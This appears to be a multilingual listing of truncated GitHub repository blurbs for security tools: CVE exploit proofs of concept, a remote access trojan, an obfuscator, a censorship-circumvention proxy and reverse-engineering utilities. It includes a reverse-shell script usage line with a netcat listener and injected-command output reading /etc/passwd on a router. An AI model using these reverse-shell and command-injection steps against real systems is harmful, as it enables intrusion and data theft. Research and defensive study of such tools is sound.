Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Joomla의 CVE-2015-8562 취약점객체 삽입 RCE에 대한 개념 증명PoC 소개/변경 기록 이 PoC는 exploit-db에 호스팅된 구현의 두 번째 버전입니다. -세션 재생성 수정 -X-Forwarded-For에서 User-Agent 메서드로 전환하는 옵션 추가 -python 리버스 셸에서 bash 리버스 셸로 전환하는 옵션 추가 -http 스키마 누락 및 스크립트 종료에 대한 예외 처리 추가 -더 나은 사용성, 메시지 및 색상으로 수정 -TODO: msf 지원 추가 사용 방법...

Cloak

Cloak은 기존 프록시 도구예: OpenVPN를 개선하여 정교한 검열과 데이터 차별을 우회할 수 있게 해주는 플러그 가능한 전송pluggable transport입니다. Cloak은 독립적인 프록시 프로그램이 아닙니다. 대신, 프록시 트래픽을 일반 웹 브라우징 활동으로 위장하여 작동합니다. 트래픽 지문이 매우 뚜렷하여 단순한 필터링 규칙으로 차단될 수 있는 기존 도구와 달리, Cloak은 오탐false positive을 거의 발생시키지 않고 정확히 표적으로 삼기가 매우 어렵습니다. 이는 검열 조치에 대한 부수 피해를 증가시켜...

nginx-CVE-2017-7529

Nginx 캐시 범위 초과 읽기 취약점 CVE-2017-7529 취약점 원리 참고 자료: https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7 http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ Nginx는 리버스 프록시 사이트를 운영할 때 일반적으로 일부 파일, 특히 정적 파일을 캐시합니다. 캐시된 부...

CVE-2022-39952

CVE-2022-39952 Fortinet FortiNAC에 영향을 미치는 CVE-2022-39952에 대한 POC 이 익스플로잇의 기본 구성은 역방향 셸을 생성하는 크론 작업을 작성합니다. 환경에 맞게 payload 파일을 변경해야 합니다. 기술 분석 취약점의 기술적 근본 원인 분석 및 침해 지표는 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs 요약 이 POC는 keyUpload.jsp 엔드포인트를 악용하...

vxlang-page

VxLang 目次 Docs VxLangとは？ 対応ファイル形式 プレビュー 仮想化プレビュー デュアルモードプレビュー 難読化プレビュー コード平坦化プレビュー チュートリアル 使用方法とガイドコード 注意事項 フルバージョンの入手方法 寄付とサブスクリプション Patreon リンク イベント 2026年6月イベント 拡張コードとプラグインモジュール Axion: 追加の改ざん防止機能を実行する拡張コード。 ExtsDN: .NET（EXEのみ）モジュールをパッキングおよび保護するための拡張コード。 VxLangとは？ VxLang...

hackaday-u

Hackaday U - Ghidraを使ったリバースエンジニアリング入門 このリポジトリには、Hackaday-Uコース「Ghidraを使ったリバースエンジニアリング入門」の演習とリソース資料が含まれています。 このコースの目的は、Ghidraの使用方法と、Linux向けx8664 ELFバイナリのリバースエンジニアリング方法の概要を提供することです。 コース教材、スライド、ビデオセッションへのリンクはこちらにあります。 内容 docker: このコースの演習を実行するためのDockerfile session-one: このフォルダには、セッション1に関連するすべての演習が含まれてい...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 PoC 리버스 셸 Apache 2.4.50 with CGI 사용법 : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 추가 정보: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999 참고 자료...

openwifipass

OpenWifiPass An open source implementation of the grantor role in Apple's Wi-Fi Password Sharing protocol. Disclaimer OpenWifiPass is experimental software and is the result of reverse engineering efforts by the Open Wireless Link project. The code serves solely documentary and educational...

XeytanWxCpp-RAT

경고 이 프로젝트는 아직 개발 초기 단계입니다. 현재 애플리케이션의 외관은 형편없으며, 이상한 버그첫 번째 TODO 항목, 아래 참조가 있어서 ASAP으로 수정해야 합니다. 소개 wxWidgets 프레임워크를 사용하여 C++로 작성된 RAT 애플리케이션입니다. 기능 클라이언트 시스템 정보 얻기. 프로세스 목록 리버스 셸 파일 시스템 탐색 TODO 이상한 버그가 있습니다. 해결 방법을 모르겠습니다. 단계별 실행 중에는 트리거되지 않지만, 앱을 그냥 실행하면 발생합니다. 이는 전형적인 경합 조건 버그의 징후이지만 해결 방법을...

x64dbg

x64dbg An open-source binary debugger for Windows, aimed at malware analysis and reverse engineering of executables you do not have the source code for. There are many features available and a comprehensive plugin system to add your own. You can find more information on the blog! Screenshots |...

ngrev

ngrev Graphical tool for reverse engineering of Angular projects. It allows you to navigate in the structure of your application and observe the relationship between the different modules, providers, and directives. The tool performs static code analysis which means that you don't have to run you...

ngrev

ngrev Angular 프로젝트의 역공학을 위한 그래픽 도구입니다. 애플리케이션의 구조를 탐색하고 다양한 모듈, 프로바이더 및 디렉티브 간의 관계를 관찰할 수 있습니다. 이 도구는 정적 코드 분석 을 수행하므로, 사용하기 위해 애플리케이션을 실행할 필요가 없습니다. ngrev는 Angular 팀이 유지보수하지 않습니다. 오픈 소스 커뮤니티에서 개발한 사이드 프로젝트입니다. 사용 방법? macOS 1. 릴리즈 페이지로 이동합니다. 2. 최신 .dmg 파일을 다운로드합니다. 3. 애플리케이션을 설치합니다. 애플리케이션이 서명되지...

CVE-2020-8515

CVE-2020-8515 예전에 굴러다니던 Draytek CVE-2020-8515 PoC입니다. 재미있게도, 주입된 명령이 두 번 실행됩니다. 아래를 보세요: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33.5 1 Wed...

pip3line

Pip3line Codacy Badge Linux / MacOS Builds Windows Builds Raw bytes manipulation utility, able to apply well known and less well known transformations, quick binary search, network proxy interception and more. Install on Windows: Download the release zip here Remember to install/repair the VS...

CVE-2024-21546

CVE-2024-21546 Python 익스플로잇 🔥 설명 이 Python 익스플로잇 스크립트는 UniSharp 이 만든 취약한 Laravel Filemanager를 대상으로 하며, 인증된 사용자가 파일 제한을 우회하고 악성 파일을 업로드할 수 있게 합니다. 업로드된 페이로드가 트리거되면 원격 코드 실행RCE으로 이어질 수 있습니다. 이 익스플로잇은 다음을 수행합니다: 사용자가 제공한 laravelsession 검증 정규식을 통해 CSRF token 추출 PHP 리버스 셸 페이로드가 포함된 가짜 PNG 파일 업로드 업로드된 파...

nili

Nili Nili는 네트워크 스캔, 중간자 공격, 프로토콜 리버스 엔지니어링 및 퍼징을 위한 도구입니다. 필수 조건 Python - Python 프로그래밍 언어 Scapy - 대화형 패킷 조작 프로그램 Netzob - 프로토콜 리버스 엔지니어링, 모델링 및 퍼징 설치 다음은 Nili 및 필수 구성 요소 설치를 위한 몇 가지 지침입니다. 운영 체제에 맞는 적절한 지침을 선택하세요. Unix 계열 1- Python3 및 pip 설치: $ sudo apt-get install python3 $ sudo apt-get install...

Doldrums

Flutter: 빠르고 불규칙하게 움직이다, 빠르게 뛰다, 동요하다. Doldrums: 침체기. Doldrums는 Android를 대상으로 하는 Flutter 앱을 위한 리버스 엔지니어링 도구입니다. 구체적으로, 모든 Dart 버전 2.10 릴리스에 대해 관례적으로 libapp.so라는 이름의 Flutter/Dart Android 바이너리의 파서 및 정보 추출기입니다. 실행하면 격리 스냅샷에 있는 모든 클래스의 전체 덤프를 출력합니다. 이 도구는 현재 베타 상태이며, 일부 역직렬화 루틴과 클래스 정보가 누락되어 있습니다. 바로...

blutter

Blutter Flutter 모바일 애플리케이션 리버스 엔지니어링 도구 Dart AOT 런타임 컴파일 방식 현재 이 도구는 Android libapp.so arm64 전용만 지원합니다. 또한 최신 Dart 버전에서만 작동합니다. 높은 우선순위의 누락된 기능은 TODO를 참조하세요. 환경 설정 이 애플리케이션은 C++20 Formatting 라이브러리를 사용합니다. g++=13, Clang=16과 같은 매우 최신의 C++ 컴파일러가 필요합니다. Linux OS 사용을 권장합니다 Debian sid/trixie에서만 테스트됨. 설...

blutter

Blutter Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime Currently the application supports only Android libapp.so arm64 only. Also the application is currently work only against recent Dart versions. For high priority missing features, see TODO Environment Setup...

binsync

BinSync BinSyncは、Gitバージョン管理システム上に構築されたデコンパイラコラボレーションツールであり、デコンパイラに依存せずにきめ細かなリバースエンジニアリングのコラボレーションを可能にします。BinSyncは、mahaloz、angrチーム、およびSEFCOM研究所によって開発されています。また、Shellphishハッキングチームでの使用によって大きく支えられています。 優れたデコンパイラはすべて、Reverse Engineering Artifacts REA...